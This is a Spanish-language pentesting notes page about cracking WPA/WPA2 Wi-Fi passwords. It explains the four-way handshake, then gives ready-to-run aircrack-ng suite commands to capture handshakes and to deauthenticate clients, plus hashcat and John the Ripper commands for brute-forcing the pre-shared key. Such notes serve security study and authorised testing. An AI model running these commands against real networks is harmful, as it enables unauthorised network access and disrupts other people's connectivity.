CyberSec Notes
  • Bienvenida
    • CyberSec Notes
  • Network Services
    • Port 21 - FTP
    • Port 22 - SSH
    • Port 23 - Telnet
    • Port 25 - SMTP
    • Port 53 - DNS
      • Deploy DNS Server with BIND
    • Port 80/443 - HTTP/HTTPS
      • Wordpress
      • CMS Made Simple (CMSMS)
    • Port 88 - Kerberos
    • Port 386, 636, 3268, 3269 - LDAP
    • Port 445 - SMB
    • Port 1521,1522-1529 - Oracle TNS Listener
    • Port 3128 - Squid
    • Port 5985, 5986 - WinRM
  • Command && Control
    • Sliver C2 [in progress]
  • Ataques en Entornos Windows
    • MalDev
      • AV Evasion
        • Function call obfuscation
      • Code Samples
        • Shellcode Execution C#
        • Shellcode Execution C++
        • Stager HTTP C#
        • Stager HTTP C++
        • Process Inyection C++
        • Process Inyection C#
        • XOR Encrypt C++
    • Directorio Activo
      • Spriying
      • Autenticacion Net-NTLMv2 y tipos de hashes
        • Pass the Hash
        • SMB Relay
      • Autenticación Kerberos
        • Extensiones del protocolo Kerberos (SPNs & PACs)
        • AS_REP Roasting
        • Kerberoasting
        • Silver Ticket Attack
        • Golden Ticket Attack
      • DCSync
      • Mimikatz
      • BloodHound
      • Privilege Escalation
        • PS Credentials in XML format
      • Utils
    • Amsi Bypass
    • Buffer Overflow
      • Stack Based 32 bits [in progress]
        • Windows SLMail 5.5
  • Ataques en Entornos Linux
    • Privilege escalation [in progress]
    • MalDev
      • Simple Reverse Shell
    • Buffer Over Flow
      • Stack Based 32 bits
        • Linux, Vulnerable functions in C programs
    • Persistencia
  • General
    • Host Discovery
    • Reverse Shells Cheet Sheet
    • Pivoting
      • Chisel
      • Port Forwarding
      • Nmap con pivoting
    • Google Dorks [in progress]
    • Denial of Service (DoS)
      • Low and Slow
    • Docker
  • Pentesting Web
    • XML External Entity Injection(XXE)
      • Portswigger Lab #1: Retrieve Files
      • Portswigger Lab #2: Perform SSRF
      • Portswigger Lab #6: Blind XXE to retrieve data via error messages
    • Open Redirect
    • LFI
      • Log Poisoning (Apache, SSH y SMPT)
  • Wireless Pentesting
    • Pre Connection Attacks
      • WEP
      • WPA/WPA2
    • Post Connection Attacks
      • ARP Spoof
    • Fake AP for Captive Portal
Powered by GitBook
On this page
  • Cómo funciona
  • Explotación
  • Capturar Handshake
  • De-Autenticar Cliente/s
  • Crackeo de la Pre Shared Key
  1. Wireless Pentesting
  2. Pre Connection Attacks

WPA/WPA2

PreviousWEPNextPost Connection Attacks

Last updated 2 years ago

Cómo funciona

WPA (Wi-Fi Protected Access) y WPA2 son protocolos de seguridad inalámbrica que proporcionan autenticación y cifrado seguros para las redes Wi-Fi. Estos protocolos se diseñaron para mejorar las debilidades del protocolo WEP . En estos protocolos, para que la información viaje cifrada entre los dispositivos que están permitidos en la red, se utiliza el protocolo del Four Way Handshake en el que a través de 4 mensajes que se intercambian entre un cliente y un punto de acceso para establecer una clave de cifrado compartida. Consta de 4 pasos, comenzando cuando un cliente envia una solicitud para autenticarse al AP:

  1. El AP envía un un ANonce , permitiendole ahora al cliente el crear la PTK.

  2. Ahora el cliente envia un SNonce junto con el MIC, estos elementos le permiten al AP crear la PTK.

  3. El AP le envía la GTK al cliente y este la almacena.

  4. El cliente le envía un mensaje al AP para indicarle que todo está correcto.

Glosario:

  • PSK: Pre Shared Key, es la contraseña para acceder al Access Point.

  • PMK: siglas de Pair Master Key, es una clave compuesta tanto por la PSK (pre shared key) y el SSID (utilizado como salt para darle aleatoriedad a la clave), y la dirección mac de la estación.

  • ANonce: es un valor aleatorio, por lo tanto único, generado por el AP al momento de querer autenticarse un cliente, ya que con este valor se podrá generar la PTK.

  • PTK: es una clave de cifrado temporal utilizada en el proceso de autenticación de un cliente con un access point. Esta compuesta por: PMK + ANonce + SNonce + MAC-AP + MAC-STA.

  • MIC: sirve para garantizar que la integridad del mensaje no fue alterada. Ya que el cliente y el ap pueden calcularlo, asi verifican la integridad del mensaje.

  • GTK: Group Temporal Key, es una clave compartida entre todos los miembros de la red utilizada para desencriptar todo el tráfico de broadcast (hacia toda la red) o multicast (un grupo de direcciones IP). Esta es actualizada regularmente en la red.

Explotación

Para poder ganar acceso al access point, vamos a necesitar obtener la PSK. Por lo que si lograsemos capturar todo el proceso del Four Way Handshake seríamos capaces de intentar por fuerza bruta obtener la contraseña. Esto es así por que para poder obtener la clave de la red, esta está contenida en el PMK, que a su vez este está contenido en la PSK, siendo este el único valor que nos falta de la ecuación para obtener la clave.

Para obtener el handshake o bien lo podemos capturar de forma pasiva esperando a que un cliente se conecte a la red o bien deautenticando uno o todos los clientes de la red por una cantidad que determinemos de tiempo, para así forzar a capturar el handshake cuando se intenten reconectar.

Capturar Handshake

airodump-ng --bssid <BSSID> --channel <n> --write <outfile> <name-monitor-iface>
airodump-ng --bssid 5C:E2:8C:55:88:B8 --channel 1 --write 4_way_handshake wlxd0374538a8d2

De-Autenticar Cliente/s

# Specific Client
aireplay-ng --deauth <n-packets> -a <BSSID> -c <client mac> <name-monitor-iface>
aireplay-ng --deauth 0 -a 5C:A0:8C:75:91:E8 -c C0:37:A5:CE:D1:4A wlxd0374538a8d2

# Broadcast
aireplay-ng --deauth <n-packets> -a <BSSID> <name-monitor-iface>
aireplay-ng --deauth 0 -a 5C:A0:8C:75:91:E8 wlxd0374538a8d2

Crackeo de la Pre Shared Key

### hashcat utils ###
git clone https://github.com/hashcat/hashcat-utils.git
cd hashcat-utils/src/
gcc cap2hccapx.c -o cap2hccapx.bin
./cap2hccapx.bin <.capfile> <output>.hccapx

### Con CPU ###
# Aircrack-ng
aircrack-ng <.cap file> -w <wordlist>

# John The Ripper
./cap2hccapx.bin <.capfile> <output>.hccapx
hccap2john <hccapx file> > hash
john hash -w <wordlist>

### Con GPU ###
# Hashcat
./cap2hccapx.bin <.capfile> <output>.hccapx
hashcat -m 2500 -a 0 <hccapx file> <wordlist>         # Brute Force with wordlis
hashcat -m 2500 -a 3 <hccapx file> ?d?d?d?d?d?d?d?d   # Brute force digits